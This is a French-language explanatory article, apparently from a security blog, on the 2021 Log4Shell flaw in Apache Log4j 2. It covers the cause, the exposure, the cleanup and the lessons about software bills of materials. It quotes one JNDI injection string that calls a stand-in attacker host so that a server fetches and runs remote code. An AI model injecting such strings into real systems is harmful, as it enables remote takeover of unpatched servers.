Skip to content
Retour aux chroniques
#vulnérabilité#open-source#rce

Log4Shell

Une bibliothèque de logs utilisée par la moitié d’internet exécutait n’importe quel code écrit dans un message de chat. Le correctif a pris un week-end ; le nettoyage a pris des années.

Cyber Chronicle2 min de lecture

Le 9 décembre 2021, une preuve de concept pour une vulnérabilité dans Apache Log4j 2 — une bibliothèque de journalisation Java si omniprésente qu’elle en était devenue invisible — commence à circuler. Le bug, référencé CVE-2021-44228 et vite surnommé Log4Shell, permettait l’exécution de code à distance déclenchée par quelque chose d’aussi trivial qu’une chaîne dans une ligne de log.

Une fonctionnalité, transformée en arme

La cause racine était une fonctionnalité. Log4j supportait les lookups de message, dont un lookup JNDI capable de résoudre une valeur depuis un service d’annuaire distant. Un attaquant capable de glisser une chaîne de la forme ${jndi:ldap://attaquant/x} dans n’importe quoi que l’application journalisait — un champ nom d’utilisateur, un en-tête User-Agent, un message de chat, une boîte de message Minecraft — pouvait faire récupérer et exécuter au serveur cible du code contrôlé par l’attaquant.

L’exposition était quasi illimitée. Log4j était une dépendance transitive d’une fraction énorme des logiciels Java d’entreprise, souvent plusieurs couches sous des manifestes de build que personne n’avait lus depuis des années. Les défenseurs ont passé le week-end à tenter d’énumérer où se trouvait la bibliothèque avant même de pouvoir la patcher.

Une longue traîne

Patcher Log4j en dépendance directe était simple. Trouver chaque copie shadée, repackagée, vendorisée et oubliée enfouie dans des appliances et des produits tiers ne l’était pas. Le rapport du Cyber Safety Review Board américain a qualifié Log4Shell de vulnérabilité « endémique », susceptible d’être présente dans des systèmes non patchés pendant une décennie.

Ce que la chronique retient

Log4Shell est le cas qui a fait du software bill-of-materials une exigence grand public plutôt qu’une aspiration d’équipe sécurité. Il a démontré, à l’échelle planétaire, qu’internet tourne sur des dépendances maintenues par des bénévoles que la plupart de ses opérateurs sont incapables de nommer.